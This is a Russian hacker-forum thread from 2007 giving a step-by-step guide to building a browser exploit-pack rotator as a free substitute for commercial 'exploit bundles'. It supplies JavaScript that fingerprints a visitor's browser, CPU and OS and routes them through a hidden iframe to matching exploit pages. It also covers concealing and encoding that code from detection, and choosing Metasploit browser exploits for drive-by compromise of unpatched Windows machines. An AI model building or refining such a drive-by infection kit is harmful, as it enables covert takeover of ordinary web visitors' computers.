PDA

Просмотр полной версии : Делаем простой ротатор эксплоитов (или Metasploit Framework часть 6)


-=lebed=-
02.04.2007, 16:44
Ротатор эксплоитов (или Metasploit Framework часть 6)

Предисловие.
Статья расщитана не на новичков, а на тех кто уже знаком с пакетом разработки эксплоитов на практике. Остальным рекомендую почитать первые части. Заинтересованным рекомендую ознакомиться с официальным мануалом релиза 3.0 (вышел 27 марта 2007 года), перевод которого осуществил n0ne (http://forum.antichat.ru/member.php?userid=31226) и выложил у себя на сайте Почитать пользовательский мануал по MSF 3.0 (http://n0nerus.narod.ru/msf_manual.html), за что ему огромный респект!
Что такое Ротатор? Ну наверно многие слышали, видели объявления, "продаю связку эсплоитов, пробив столько-то процентов, цена 1000$". Ну вот, например (http://forum.antichat.ru/thread36357.html). Что же это за зверь? Опишу своими словами. Связка сплоитов - набор эксплоитов, которые эксплуатируют те или иные уязвимости в приложениях, сервисах и т. п. Причём по определённому алгоритму, ну типа не пробил один сплоит, пробуем следующий... и т.д. Вообщем, я подумал, что ввиду большого количества паблик эксплоитов для браузеров (в основной массе IE) пора написать простенький ротатор по типу той интелектуальной связки эксплоитов, и доводить его до ума, совершенствуя алгоритм ротации. Возьмём многие идеи автора, запостившего объявление о продаже своей связки на вооружение и попробуем сэкономить 500$-1000$. (Ведь сплоиты то есть в паблике! - за что платить? За двиг ротатора? За скрипты сбора статистики пробива браузеров? Попробуем всё сделать своими руками, и так с...

1. Подготовка.
а). Определимся с типом жертвы: Жертва у нас будет популярные браузеры IE - в первую очередь (как самый дырявый браузер), в меньшей степени Opera и FireFox (имеющих мало паблик уязвимостей).
б). Нам потребуется:
- ПО Metasploit Framework 3.0 (релиз) скачать можно тут: http://metasploit.com/
- Минимальные знания html и javascript;
- Все три популярных браузера (для тестирования);
- Редактор html c подсветкой синтаксиса (пойдёт и визуальный).
- Прямые руки и светлая голова.

2. Типа начинаем кодить.
Определяемся с алгоритмом ротации и языком на котором будем писать:
- Ну во первых откажемся от PHP и Perl, так как возможность их использования, как правило отсутствует на бесплатных хостингах, а вешать ротатор в iframe мы будем именно на них. А так же ввиду того, что мы не ахти какие кодеры на PHP и Perl (не обладаем достаточными знаниями). Поэтому остаётся javascript, исполняемый в браузере клиента. И так алгоритм:
- Определяем тип нашего клиента (тип браузера) юзверя посетившего нашу страничку. Сделаем это с помощью javascript, велосипед изобретать не будем, а возьмём готовый код, например отсюда: http://www.xakep.ru/magazine/xa/080/048/2.asp

<script language="javascript">
document.write ("You are using: " + navigator.appName)
document.write ("CPU type: " + navigator.cpuClass)
document.write ("Screen Resolution: " + screen.width + "x" + screen.height)
document.write ("Available Screen Resolution: " + screen.availWidth + "x" + screen.availHeight)
document.write ("Screen Color Depth: " + screen.colorDepth)
today = new Date()
document.writeln("Date & time on your computer and time zone is: " + today)
document.writeln("Date & time in your locale format: " + today.toLocaleString())
</script>

Здесь для нас важная 1 строка, она определяет тип браузера. Оставим то, что нам нужно и проверим, как присваивается переменной brouser значение (Тип браузера), а переменной cpu - тип CPU

<script language="javascript">
brouser=navigator.appName
cpu=navigator.cpuClass
document.write ("You are using: " + brouser)
document.write ("CPU type: " + cpu)
</script>

Проверили - всё ок.
- Хорошо бы достать версию OC, не уверен что это можно сделать с помощью javascript поэтому придётся лезть в документацию или Гугл. Я полез в Гугл (в javascript я чайник, так что не бейте сильно) 5 секунд и ответ найден: Можно определить и ОС, ниже приведён код функции определения версии ОС на javascript:

<SCRIPT language=JavaScript>
function test_os() {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var OpSys = "Windows 98"; }
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var OpSys = "Windows 95"; }
else if(navigator.appVersion.indexOf("16") !=-1)
{ var OpSys = "Windows 3.1"; }
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var OpSys= "Windows NT"; }
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var OpSys = "Linux"; }
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var OpSys = "Macintosh"; }
else { var OpSys = "other"; }
return OpSys;
}
</SCRIPT>

Потом в теле вызываем эту функцию:

<BODY>
<SCRIPT language=JavaScript>
var OpSys = test_os();
document.write("Вы используете ОС: " + OpSys);
</SCRIPT>
</BODY>

Ну что же, неплохо, на входе нашего будущего Ротатора (а он будет на яваскрипт javascript) мы имеем три переменные: brouser, cpu, OpSys (тип броузера, тип цп, тип OC). В зависимости от этих значений и будем проводить ротацию эксплоитов. Если со значением переменной OpSys всё ясно (видно из кода), то посмотрим какие значения может принимать переменная brouser, для этого зайдём попеременно тремя популярными браузерами. И так Опера - brouser="Opera", IE - brouser="Microsoft Internet Explorer", FireFox - brouser="Netscape". То есть в зависимости от типа браузера мы будем использовать разные наборы сплоитов. И так у нас появились три ветви. Реализуем это на javascript, чтоб в Iframe выводилась нужная страница. Обзовём их по значению переменной brouser: Microsoft Internet Explorer.html, Opera.html, Netscape.html
За основу возьмём код, любезно предоставленный _Nikolas_ для ротации сайтов в iframe и подправим его немного под себя. Будем использовать, его как точку опоры. Кстати он после небольшой переделки подойдёт для автоматической ротации вредоносных страниц, содержащих эксплоиты.

<html>
<head>
<title></title>
<script type="text/javascript">
var sites = new Array();
var currentSite = 0;
//тут добавляешь скока хошь сайтов
sites[0] = "http://mail.ru";
sites[1] = "http://ya.ru";
sites[2] = "http://google.com";
function changeSite() {
document.getElementById( "ifrm" ).src = sites[currentSite];
currentSite++;
if ( currentSite >= sites.length ) {
currentSite = 0;
}
}
setInterval( "changeSite()", 5000 );
</script>
</head>
<body onload="changeSite()">
<iframe id="ifrm" src="ya.ru"/>
</body>
</html>

Я исправил для начала так:

<html>
<head>
<title></title>
<script type="text/javascript">
var sites = new Array();
var currentPage = 0;
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Opera.html";
sites[1] = "Microsoft Internet Explorer.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
currentPage++;
if ( currentPage >= sites.length ) {
currentPage = 0;
}
}
setInterval( "changePage()", 500 );
</script>
</head>
<body onload="changePage()">
<iframe id="ifrm" src="Microsoft Internet Explorer.html"/>
</body>
</html>


Сделаем пока 3 пустые страницы с одной надписью (имя браузера), для вывода в iframe и и обзовём их по типу браузеров:
Например: страница Netscape.html, содержимое:

<html>
<head>
<meta http-equiv="Content-Language" content="ru">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>FireFox</title>
</head>
<body>
<p align="left"><font size="6">FireFox</font></p>
<p>Тут будет ротация эксплоитов для Mozilla FireFox</p>
</body>
</html>

Проверяем, всё работает, в iframe меняются переодически наши (пока ещё не вредоносные странички. Но Ротация тут нам не нужна, а нужен выбор только одной страницы, в зависимости от значения переменной brouser.
Поэтому просто исправляем код под наши нужды:

<script type="text/javascript">
var sites = new Array();
var currentPage = nomer();
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Microsoft Internet Explorer.html";
sites[1] = "Opera.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}
</script>

Осталось написать функцию nomer() - она будет возвращать число от 0 до 2, в зависимости от типа браузера, вот её код:

<SCRIPT language=JavaScript>
function nomer() {
var nomer="0"
if (brouser==="Microsoft Internet Explorer")
{ nomer="0"; }
else if (brouser==="Opera")
{ nomer="1"; }
else if (brouser==="Netscape")
{ nomer="2"; }
return (nomer);
}
</SCRIPT>

И так собираем всё вместе:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Ротатор Эксплоитов</title>
</head>
<SCRIPT language=JavaScript>
<!-- определяем значения переменных -->
brouser=navigator.appName
cpu=navigator.cpuClass


<!-- функция определения ОС -->
function test_os() {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var OpSys = "Windows 98"; }
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var OpSys = "Windows 95"; }
else if(navigator.appVersion.indexOf("16") !=-1)
{ var OpSys = "Windows 3.1"; }
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var OpSys= "Windows NT"; }
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var OpSys = "Linux"; }
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var OpSys = "Macintosh"; }
else { var OpSys = "other"; }
return OpSys;
}


<!-- выводим на экран для контроля -->
document.write (" CPU type: " + cpu + " Операционная система : " + test_os())


<!-- функция номер IE=0, Opera=2, FireFox=3 -->
function nomer() {
var nomer="0"
if (brouser==="Microsoft Internet Explorer")
{ nomer="0"; }
else if (brouser==="Opera")
{ nomer="1"; }
else if (brouser==="Netscape")
{ nomer="2"; }
return (nomer);
}

<!-- выводим на экран для контроля имя браузера и присвоенные ему код-->
document.write(", Вы используете браузер: " + brouser + ", его код=" + nomer());

<!-- выбираем нужную страницу в iframe по коду-->
var sites = new Array();
var currentPage = nomer();
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "Microsoft Internet Explorer.html";
sites[1] = "Opera.html";
sites[2] = "Netscape.html";
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}
</script>
<body onload="changePage()">
<iframe id="ifrm" src=""/>
</body>
</html>


Вот так, нихрена не соображая в javascript, мы написали корявый но рабочий код (заготовку) нашего будущего ротатора.
Конечно мы потом уберём весь вывод на экран, сделаем фрейм невидимым (нулевого размера) и попробуем закодировать html, чтоб явно не палился...
А также используем полученные глобальные переменные (OpSys, cpu) и для определения оптимального алгоритма ротации страниц с эксплоитами, чтоб сразу не свалить браузер в даун, а попытаться исполнить начинку (полезный груз, шеллкод) сначала более надёжными сплоитами (работающими в большинстве случаев).

P.S. Статья не окончена - будет продолжение.
Принимаю замечания и исправления, а так же ваши варианты оптимизированного кода на Javascript и html

flipper
02.04.2007, 17:58
Ну в качестве образовательного примера вполне сойдет и ява, только код желательно закодировать и подцеплять отдельно <sript src=...>, так менее палевно чем пихать в исходники страницы...

-=lebed=-
03.04.2007, 11:48
И так, вчера мы немного определились с алгоритмом, однако забыли про переменную CPU (которая принимает значения - архитектура процессора). Поэтому первое ветвление должно быть именно в зависимости от её значения. По сути нам надо написать функцию EXPLOIT(CPU,brouser,OS) на выходе которой мы получим соответствующую страницу с ротацией эксплоитов для конкретного клиента. Поэтому немного перепишем наш код с учётом этого, а также для более легкого последующего апдейта нашего ротатора эксплоитов. Для начала определимся с диапазоном значений переменных:
CPU=[0,1]я думаю для популярных архитектур хватит двух вариантов (x86 и PowerPC). brouser=[0,1,2,3,4,5,6,7] для типов броузеров наверно 8 вариантов достаточно.(под broyser отвели 3 бита) OS=[0,1,2,3,4,5,7,6,7,8,9,10,11,12,13,14,15] - типы операционной системы, имхо 16 возможных вариантов хватит. Не будем парится с трёхмерными массивами, а приведём входящие переменные к одной rotation=128*CPU+16*brouser+OS, таким образом входящая переменная rotation будет принимать значения [0-255] и её размерность составит 1 байт (я не имею ввиду фактическую длину). То есть, так скажем, интелектуальность нашего ротатора составит 256 возможных интелектуальных наборов эксплоитов (ситуаций). (в нашем случае 256 компроментирующих браузер страниц). Перепишем наш код с учётом выше приведённого алгоритма. Ещё модернизируем функцию test_brouser(p), так, чтоб по вхдящему параметру p=2 выдавала нам версию браузера (пригодится для алгоритма ротации).

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Ротатор Эксплоитов</title>
</head>
<SCRIPT language=JavaScript>

<!-- функция определения архитектуры (перенная name_cpu - Название, code_cpu - Присвоенный код, зависимости от параметра выдаёт name_cpu или code_cpu) -->

function test_cpu(p) {
var name_cpu=navigator.cpuClass
if (name_cpu==="x86")
{ var code_cpu=0; }
else
{ var code_cpu=0; }
if (p===0)
{return code_cpu;}
else {return name_cpu;}
}

<!-- Функция определения бруазера (перенная name_brouser - Название, code_brouser - Присвоенный код, ver_brouser - версия браузера, в зависимости от параметра выдаёт name_brouser, code_brouser или ver_brouser) -->
function test_brouser(p) {
var name_brouser=navigator.appName
var ver_brouser=navigator.appVersion
var code_brouser=0
if (name_brouser==="Microsoft Internet Explorer")
{ code_brouser=0; }
else if (name_brouser==="Opera")
{ code_brouser=1; }
else if (name_brouser==="Netscape")
{ code_brouser=2; }
if (p===0)
{return code_brouser;}
else if (p===1)
{return name_brouser;}
else
{return ver_brouser;}
}


<!-- функция определения ОС (переменная name_os - Название, code_os - Присвоенный код, в зависимости от параметра выдаёт name_os или code_os) -->
function test_os(p) {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var name_os = "Windows 98"; var code_os=2;}
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var name_os = "Windows 95"; var code_os=1;}
else if(navigator.appVersion.indexOf("16") !=-1)
{ var name_os = "Windows 3.1"; var code_os=0;}
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var name_os= "Windows NT"; var code_os=3;}
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var name_os = "Linux"; var code_os=4;}
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var name_os = "Macintosh"; var code_os=5;}
else if (navigator.appVersion==="5.0 (Windows; ru)")
{ var name_os = "Windows"; var code_os=3;}
else { var name_os = "other"; var code_os=6;}
if (p===0)
{return code_os;}
else {return name_os;}

}


<!-- вычисляем код ситуации (входящая переменная rotation) для фунуции EXPLOIT()-->
var rotation;
rotation=128*test_cpu(0)+16*test_brouser(0)+test_o s(0);

<!-- выводим на экран для контроля -->
document.write (" CPU type: " + test_cpu(1) + ", Код CPU=" + test_cpu(0) + ", Браузер:" + test_brouser(1) + ", Версия:" + test_brouser(2) + ", Код браузера=" + test_brouser(0) + ", Операционная система : " + test_os(1)+", Код операционки=" + test_os(0) + ", Код ситуации (переменная rotation)=" + rotation)


<!-- выбираем нужную страницу в iframe по коду rotation-->
var sites = new Array();
var currentPage = rotation;
//тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
sites[0] = "rotor0.html";
sites[1] = "rotor1.html";
sites[2] = "rotor2.html";
sites[3] = "rotor3.html";
sites[4] = "rotor4.html";
sites[5] = "rotor5.html";
sites[6] = "rotor6.html";
sites[7] = "rotor7.html";
sites[8] = "rotor8.html";
sites[9] = "rotor9.html";
sites[10] = "rotor10.html";
sites[11] = "rotor11.html";
<!-- тут всего 128 компроментирующих браузер страниц будет -->
function changePage() {
document.getElementById( "ifrm" ).src = sites[currentPage];
}
</script>
<body onload="changePage()">
<iframe id="ifrm" src=""/>
</body>
</html>


Тестим код в трёх браузеров, как видим в Опере и FireFox переменная name_cpu имеет значение "undefined", т.е. неопределена. Забъём пока на другие архитектуры и оставим только x86 (MAC-пользователей оставим за бортом), подправим код функции test_cpu() - пусть выдаёт "0" в любом случае, то есть x86. Так же видим, что возникли проблемы в Браузере Mozzila FireFox - наш скрипт не определил операционную систему win2003 (значение other), что тоже не радует, может есть смысл парсить navigator.appVersion и доставать версию ОC от туда?
... продолжение скоро.

P.S. У кого есть хороший javascript для определения Операционной системы, работающий во всех браузерах, прошу выложить тут.

UP:
Ну раз нет, придётся дорабатывать тот что есть. Ошибается только Mozzila FireFox немного изменим функцию определения ОС:

<!-- функция определения ОС (переменная name_os - Название, code_os - Присвоенный код, в зависимости от параметра выдаёт name_os или code_os) -->
function test_os(p) {
if ((navigator.userAgent.indexOf ('Win') != -1) &&
(navigator.userAgent.indexOf('98') != -1))
{ var name_os = "Windows 98"; var code_os=2;}
else if((navigator.userAgent.indexOf('Win') != -1) &&
(navigator.userAgent.indexOf('95') != -1))
{ var name_os = "Windows 95"; var code_os=1;}
else if(navigator.appVersion.indexOf("16") !=-1)
{ var name_os = "Windows 3.1"; var code_os=0;}
else if (navigator.appVersion.indexOf ("NT") !=-1)
{ var name_os= "Windows NT"; var code_os=3;}
else if (navigator.appVersion.indexOf ("Linux") !=-1)
{ var name_os = "Linux"; var code_os=4;}
else if (navigator.userAgent.indexOf ('Mac') != -1)
{ var name_os = "Macintosh"; var code_os=5;}
else if (navigator.appVersion==="5.0 (Windows; ru)")
{ var name_os = "Windows"; var code_os=3;}
else { var name_os = "other"; var code_os=6;}
if (p===0)
{return code_os;}
else {return name_os;}

}

Добаваил для FireFox, чтоб правильно определял OC

Кстать, вот код с javascript, который выводит всю инфу в красивую формочку:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN//3.2">

<HTML>
<HEAD>
<TITLE>User Information - What does your browser say about you ?</TITLE>
</HEAD>
<FORM NAME="form1">
<TABLE BORDER="10" BORDERCOLOR="blue">
<TR>
<TD BGCOLOR="aqua">Browser Name</TD>
<TD><INPUT TYPE="INPUT" NAME="bn" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Browser Version</TD>
<TD><INPUT TYPE="INPUT" NAME="bv" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>

<TR>
<TD BGCOLOR="aqua">Width</TD>
<TD><INPUT TYPE="INPUT" NAME="w" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Height</TD>
<TD><INPUT TYPE="INPUT" NAME="h" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Colour Depth</TD>
<TD><INPUT TYPE="INPUT" NAME="cd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Pixel Depth</TD>
<TD><INPUT TYPE="INPUT" NAME="pd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>
<TR>
<TD BGCOLOR="aqua">Referring document</TD>
<TD><INPUT TYPE="INPUT" NAME="rd" VALUE="0" SIZE="40" STYLE="background-color:pink"></TD>
</TR>

</TABLE>
</FORM>
<SCRIPT LANGUAGE="JavaScript">
<!--
document.form1.bn.value = navigator.appName
document.form1.bv.value = navigator.appVersion
document.form1.w.value = screen.width
document.form1.h.value = screen.height
document.form1.cd.value = screen.colorDepth
document.form1.pd.value = screen.pixelDepth
document.form1.rd.value = document.referrer
// -->
</SCRIPT>

<CENTER><HR>
</CENTER>

</HTML>

Может, кому пригодится...
P.S. Код "Заготовки Ротатора" обновлён (в этом сообщении) с учётом последних изменений...
Ладно, вообщем с "функицей" EXPLOIT(rotation) мы будем считать частично справились. Никто не мешает нам улучшать её потом. Теперь можно переходить собственно к компроментирующим страницам, которые у нас будут выводится в IFRAME.
... продолжение следует...

-=lebed=-
03.04.2007, 12:52
Вот нашёл старенькую статью Algola по схожей теме, кому интересно можете почитать: http://old.antichat.ru/activex/

-=lebed=-
04.04.2007, 11:08
3. Отбор эксплоитов.

Запускаем пакет MSF 3.0 (релиз). Идём в Web-интерфейс, запускаем консоль (она у нас прямо в web-странице).
Смотрим какие есть эксплоиты.

>> show exploits
Отберём для windows/browser/:

windows/browser/ani_loadimage_chunksize Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)
windows/browser/aim_goaway AOL Instant Messenger goaway Overflow
windows/browser/apple_itunes_playlist Apple ITunes 4.7 Playlist Buffer Overflow
windows/browser/apple_quicktime_rtsp Apple QuickTime 7.1.3 RTSP URI Buffer Overflow
windows/browser/ie_createobject Internet Explorer COM CreateObject Code Execution
windows/browser/ie_iscomponentinstalled Internet Explorer isComponentInstalled Overflow
windows/browser/mcafee_mcsubmgr_vsprintf McAfee Subscription Manager Stack Overflow
windows/browser/mirc_irc_url mIRC IRC URL Buffer Overflow
windows/browser/ms03_020_ie_objecttype MS03-020 Internet Explorer Object Type
windows/browser/ms06_001_wmf_setabortproc Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution
windows/browser/ms06_013_createtextrange Internet Explorer createTextRange() Code Execution
windows/browser/ms06_055_vml_method Internet Explorer VML Fill Method Code Execution
windows/browser/ms06_057_webview_setslice Internet Explorer WebViewFolderIcon setSlice() Overflow
windows/browser/realplayer_smil RealNetworks RealPlayer SMIL Buffer Overflow
windows/browser/winamp_playlist_unc Winamp Playlist UNC Path Computer Name Overflow
windows/browser/xmplay_asx XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow
Так же посмотрим, какие были сплоиты в Интеллектуальной связке "eCore Exploit Pack v1.2" предлагаемой на продажу Max`ом. Ведь мы не хотим пропустить какой-нибудь паблик сплоит из его связки, чем мы хуже?
Mdac (RDS, MS06-014) [модифицированный, невидимый] - (найден аналог в MSF)
Сhm [модифицированный, невидимый]
Hhctrl [модифицированный, невидимый]
Hta [модифицированный, невидимый]
Java Virtual Machine Security Vulnerabilities < 5.03805 [невидимый]
Firefox MSFX-006 <2.0.0.2 (bof)
WebViewFolderIcon (setSlice) Buffer Overflow Exploit - (найден аналог в MSF)
VML Remote Buffer Overflow Exploit - (найден аналог в MSF)
WMF [модифицированный] - (найден аналог в MSF)
Content-disposition Bug (midi)
WinZip FileView ActiveX Control Buffer Overflow Exploit
Windows .ani File Parsing Buffer Overflow - (найден аналог в MSF)
Будем анализировать сплоиты, смотреть по каждому инфу (достаточно нудная и долгая работа):
- В основном для Microsoft Internet Explorer хотя и не только:
сплоиты на переполнение имеют меньшую надёжность и могут убить браузер, поэтому они будут последними в адгоритме ротации. Посмотрев инфу по каждому сплоиту, я отобрал следующие (Инфа в таком виде: ---название MSF---Название аналога в связке"eCore Exploit Pack v1.2"---Описание---Цель---Код ситуации---":
0. windows/browser/ani_loadimage_chunksize - (аналог: Windows .ani File Parsing Buffer Overflow). 0day сплоит (нет в релизе, есть в обновлении MSF 3.0, на данный момент ещё не рабочий). Сплоит эксплуатирует уязвимость переполнение буфера в LoadAniIcon () функции библиотеки UER32.dll. Баг вызван через браузер Интернет Эксплорер (6 и 7), использущий директиву загрузки стиля КУРСОРА злонамеренного .ANI файла. Internet Explorer будет ловить любые исключения, которые происходят, в то время как неправильный курсор загружен, эксплоит будет терпеть неудачу, если выбрана неправильная цель. Этот модуль будет обновлен в ближайшем будущем, чтобы исполнить fingerprinting на стороне клиента и брутфорс (грубая сила). Эта уязвимость была обнаруженна Александром Сотировым Determina и была открыта вновь, McAfee. Цели:

0 Automatic
1 Windows XP SP2 user32.dll 5.1.2600.2622
2 Windows XP SP2 userenv.dll English
3 Windows XP SP0/SP1 netui2.dll English
4 Windows 2000 SP0-SP4 netui2.dll English
5 Windows Vista user32.dll 6.0.6000.16386
Как видим, уязвимы все NT системы, даже Vista сборки 6.0.6000.16386. Очень актуальный сплоит на ближайшее время. Код ситуации 3.
1. windows/browser/ms06_001_wmf_setabortproc - (аналог: WMF [модифицированный]). Сплоит никогда не роняет броузер IE, так как использует уязвимость не в нём, а в системной библиотеке. В общем сам сплоит и начинка содержатся в скачиваемом автоматически файле-картинке. Цель: "Windows XP/2003/Vista Automatic" - удобен тем, что пробивает все версии виндов <=Windows-XP-SP2 (не пропатченные естественно). Код ситуации, переменная rotation=3
2. windows/browser/ms06_057_webview_setslice - (аналог: WebViewFolderIcon (setSlice) Buffer Overflow Exploit). Cплоит эксплуатирует уязвимость в WebViewFolderIcon ActiveX control, включённый в Windows 2000, Windows XP, and Windows 2003. И так цель: "Windows XP SP0-SP2 / IE 6.0SP1 English" Неплохой сплоит, правда вешает IE. Код ситуации, переменная rotation=3
3. windows/browser/ms06_055_vml_method - (аналог: VML Remote Buffer Overflow Exploit). Cплоит экспуатирует уязвимость в Microsoft Internet Explorer используя переполнение буфера in the VML коде процесса (VGX.dll). Протестирован на Windows 2000 SP4, Windows XP SP0, and Windows XP SP2. Цель: "Windows NT 4.0 -> Windows 2003 SP1" Код ситуации, переменная rotation=3
4. windows/browser/ie_createobject - (аналог: Mdac (RDS, MS06-014) [модифицированный, невидимый]). Cплоит экспуатирует уязвимость in Internet Explorer, нарушая режим эксплуатации уязвимых объектов ActiveX. Обратим внимание на цели:

0 Automatic
1 MS06-014 - RDS.DataSpace
2 MS06-073 - WMIScriptUtils.WMIObjectBroker2.1
3 UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1
4 UNKNOWN - SoftwareDistribution.WebControl.1
5 UNKNOWN - VsmIDE.DTE
6 UNKNOWN - DExplore.AppObj.8.0
7 UNKNOWN - VisualStudio.DTE.8.0
8 UNKNOWN - Microsoft.DbgClr.DTE.8.0
9 UNKNOWN - VsaIDE.DTE
10 UNKNOWN - Business Object Factory
11 UNKNOWN - Outlook Data Object
12 UNKNOWN - Outlook.Application
Как видим список уязвимых объектов внушителен. Код ситуации, переменная rotation=3.
5. windows/browser/ms03_020_ie_objecttype - (аналог: отсутсвует). Старенький сплоит, эксплуатирует уязвимость в Internet Explorer, возникающую при обработке атрибута ТИП ОБЪЕКТА. Цель: "Windows NT/XP/2003 Automatic". Код ситуации, переменная rotation=3
6. windows/browser/winamp_playlist_unc - (аналог: отсутствует). Сплоит эксплуатирует уязвимость в Winamp- универсальном проигрывателе. Это возможно, когда аудио путь к файлу, внутри плейлиста, состоит из UNC-пути с длинным именем. Сплоит поставляет плейлист через браузер. Проверен на Winamp 5.11 и 5.12. В общем может повести, если жертва пользуется стареньким винамоп, подсунув ему специальный плейлист, можно получить полный контроль над машиной. Цель Winamp <= 5.12. Код ситуации 3, 19, 25 (актуально для всех браузеров).
7. windows/browser/realplayer_smil - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в RealNetworks RealPlayer 10 и 8. Созданый URL связывается со злонамеренным SMIL файлом, удалённый нападавший может переполнить буфер и выполнить произвольный код. Когда пользуютесь этот модулем, убедитесь, что установили URIPATH с расширением '.smil'. Этот модуль был проверен с RealPlayer 10 сборки 6.0.12.883 и RealPlayer 8 сборки 6.0.9.584. В общем может повезти, если жертва пользуется уязвимым RealPlayer`ом, подсунув ему специальный файлик с расширение '.smil'. В случае удачи - получаем контроль над машиной. Цель "дырявые RealPlayer 8,10". Код ситуации 3, 19, 25 (актуально для всех браузеров).
8. windows/browser/xmplay_asx - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в XMPlay 3.3.0.4. Уязвимость вызвана из-за граничной ошибки в пределах синтаксического анализа из playlists содержащего чрезмерно длинное имя файла. Сплоит использует ASX формат файла. В общем ситуауия, аналогичная дыре в WinAmp. Цели: "Windows 2000 Pro English SP4, Windows XP Pro SP2 English". Код ситуации, переменная rotation=3
9. windows/browser/ms06_013_createtextrange - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Microsoft Internet Explorer. И IE6 и IE7 (2 Beta) уязвимы. Это будет повреждёние памяти, в некотором смысле, которое, при некоторых обстоятельствах, может привести к неправильному/испорченному указателю таблицы. EIP укажет к очень отдаленному, несуществующему местоположению памяти. Этот сплоит - результат объединения трех различных представлений эксплуатации и надежно проверен против Windows XP SP2. Эта уязвимость была независимо найдена многими сторонами. Метод разбрызгивания динамической памяти, используемый этим сплоитом, найден изначально Skylined`ом.. В общем, на практике этот сплоит при эксплуатации начнинает пожирать память (до 1 Гб.) Так как памяти может нехватить - используется файл подкачки и из-за этого скорость его работы довольно медленная, кроме того может просто уронить IE. Цель: "Microsoft Internet Explorer. И IE6 и IE7 (2 Beta)". Код ситуации 3.
10. windows/browser/ie_iscomponentinstalled - (аналог: отсутствует). Тоже старенький сплоит, эксплуатирует переполнение стека в Internet Explorer. Эта ошибка{дефект} была исправлена в Windows 2000 SP4 и Windows XP SP1. Т. е. их он не пробивает. цель "Непатченная Windows XP SP0 with Internet Explorer 6.0" - не густо :-(. Код ситуации 3
11. windows/browser/mcafee_mcsubmgr_vsprintfСплоит эксплуатирует ошибку в McAfee Подписаном Менеджере элемента управления ActiveX. Из-за опасного использования vsprintf, возможно вызвать переполнение стека, передав большую строку к одной из COM-подпрограмм, такой как IsAppExpired. Эта уязвимость была обнаруженна Карлом Линн`ом. В общем, может повезти в том случае, если этот ActiveX элемент установлен. Цель: "Windows XP SP0/SP1". Код ситуации 3
12. windows/browser/mirc_irc_url - (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в mIRC 6.1. Предоставляя чрезмерно длинный и специально обработанный URL к 'irc' протоколу, атакующий может перезаписать буфер и перехватить управление в выполняемой прогамме. В общем, если стоит этот клиент - Ирка 6.1, то может повезти. Цель: "Windows 2000 Pro English All, Windows XP Pro SP0/SP1 English с установленно Иркой 6.1". Код ситуации 3.
13.windows/browser/aim_goaway - (аналог: отсутствует). Сплоит эксплуатирует недостаток в обработке AOL Instant Messenger'ом 'goaway' в обработчике URI. Атакующий может выполнить произвольный код, предоставив чрезмерно большой буфер, как параметр сообщения. Этот баг, как известно, затрагивает AOL Instant Messenger 5.5. Цель: "Windows NT/2000/XP/2003 Automatic". Код ситуации 3
14.windows/browser/apple_itunes_playlist- (аналог: отсутствует). Сплоит эксплуатирует переполнение стека в Apple ITunes 4.7 сборки 4.7.0.42. Созданый URL линк связывается со злонамеренным PLS-файлом и удаленный атакующий может переполнить буфер и выполнить произвольный код. Когда используете этот модуль, убедитесь, что установили переменную URIPATH с расширением '.pls '. И снова переполнение в проигрывателе, анологично WinApm. В общем повезёт, если установлен бажный Apple ITunes 4.7. Цель: "Windows 2000 Pro English SP4, Windows XP Pro English SP2". Код ситуации 3.
15.windows/browser/apple_quicktime_rtsp- (аналог: отсутствует). Сплоит эксплуатирует переполнение буфера в Apple QuickTime 7.1.3. Этот модуль был вдохновлен MOAB-01-01-2007. В общем может повезти, если установлен Apple QuickTime 7.1.3. Цель: "Apple QuickTime Player 7.1.3". Код ситуации наверно 3, хотя может и не только. (не знаю уязвима ли программа под MAC).

